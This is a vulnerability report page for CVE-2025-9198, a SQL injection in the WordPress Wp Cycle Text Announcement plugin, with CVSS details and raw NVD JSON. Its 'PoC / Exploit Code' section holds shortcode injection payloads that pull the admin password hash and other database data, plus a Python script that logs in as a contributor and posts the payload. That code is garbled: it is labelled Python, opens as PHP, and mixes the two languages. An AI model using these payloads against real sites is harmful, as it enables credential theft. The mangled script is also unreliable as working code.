Security Vulnerability Report
中文
CVE-2025-9198 CVSS 6.5 MEDIUM

CVE-2025-9198

Published: 2025-10-03 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Wp cycle text announcement plugin for WordPress is vulnerable to SQL Injection via the 'cycle-text' shortcode in all versions up to, and including, 8.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Wp Cycle Text Announcement <= 8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-9198 PoC - SQL Injection via 'cycle-text' shortcode * Target: WordPress Wp Cycle Text Announcement Plugin <= 8.1 * Vulnerability: SQL Injection in cycle-text shortcode parameter * * Usage: Inject the following shortcode into a post/page content * as a Contributor-level authenticated user. * * Example payload to extract admin password hash: */ // Malicious shortcode to be inserted into post content: // [cycle-text "' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -"] // Example: Extract database version // [cycle-text "' UNION SELECT @@version-- -"] // Example: Extract current user // [cycle-text "' UNION SELECT user_login FROM wp_users LIMIT 1-- -"] // Example: Time-based blind SQLi // [cycle-text "' AND SLEEP(5)-- -"] // Python exploitation script import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" session = requests.Session() # Step 1: Login as Contributor login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/post-new.php", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Create a new post with malicious shortcode # The SQL injection payload extracts admin password hash payload = '[cycle-text "\' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -"]' post_data = { "post_title": "Test Post", "post_content": payload, "post_status": "draft", "post_type": "post" } response = session.post(f"{TARGET_URL}/wp-admin/post-new.php", data=post_data) # Step 3: Preview the post to trigger the SQL injection # The result will contain the extracted database information print("PoC submitted. Check post preview for extracted data.") print("Payload used:", payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9198", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:46.383", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wp cycle text announcement plugin for WordPress is vulnerable to SQL Injection via the 'cycle-text' shortcode in all versions up to, and including, 8.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-cycle-text-announcement/trunk/wp-cycle-text-announcement.php#L129", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3db1375b-169a-450d-86b5-2db99f916034?source=cve", "source": "[email protected]"}]}}